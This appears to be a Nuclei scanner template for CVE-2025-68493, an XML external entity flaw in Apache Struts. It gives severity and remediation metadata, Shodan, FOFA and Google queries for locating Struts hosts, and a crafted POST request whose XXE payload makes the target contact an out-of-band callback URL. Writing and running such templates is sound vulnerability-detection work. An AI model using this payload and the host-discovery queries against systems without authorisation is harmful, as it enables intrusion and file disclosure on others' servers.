Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input
PoC
id: CVE-2025-68493
info:
name: Apache Struts XWork - XML External Entity Injection
author: pussycat0x
severity: high
description: |
Apache Struts 2.0.0 < 2.2.1 and 2.2.1 <= versions <= 6.1.0 contain an XML external entity injection caused by missing XML validation, letting attackers potentially disclose files or cause denial of service, exploit requires crafted XML input
impact: |
Attackers can disclose sensitive files or cause denial of service by exploiting XML processing.
remediation: |
Upgrade to version 6.1.1.
reference:
- https://cwiki.apache.org/confluence/display/WW/S2-069
- https://github.com/hsltz/CVE-2025-68493
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H
cvss-score: 8.1
cve-id: CVE-2025-68493
cwe-id: CWE-611
epss-score: 0.4334
epss-percentile: 0.9866
metadata:
verified: true
max-request: 2
vendor: apache
product: struts
shodan-query:
- http.html:"Apache Struts"
- http.html:"struts problem report"
- http.title:"Struts2 Showcase"
fofa-query:
- body="struts problem report"
- app="apache_struts"
- title="Struts2 Showcase"
google-query: intitle:"struts2 showcase"
tags: cve,cve2025,apache,struts,struts2,xxe,oast,oob,vkev
flow: http(1) && http(2)
http:
- method: GET
path:
- "{{BaseURL}}"
matchers-condition: and
matchers:
- type: word
part: body
words:
- 'Struts'
case-insensitive: true
internal: true
- raw:
- |
POST /struts2-xml-parser/xmlParserNoDtdParse HTTP/1.1
Host: {{Hostname}}
Content-Type: application/x-www-form-urlencoded
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8
Connection: close
<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "http://{{interactsh-url}}">]><foo>&xxe;</foo>
matchers:
- type: word
part: interactsh_protocol
words:
- "dns"
- "http"
condition: or
# digest: 4a0a00473045022100e5aeb5d63ab70810356d9a058f2baf3cfb4a0dea4c847661eef2412d99d273860220711442b6dca40b0f5d5eb32ab2ca3bc6d0e9b1324a456cc85e5d9e4337b01592:922c64590222798bb761d5b6d8e72950
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.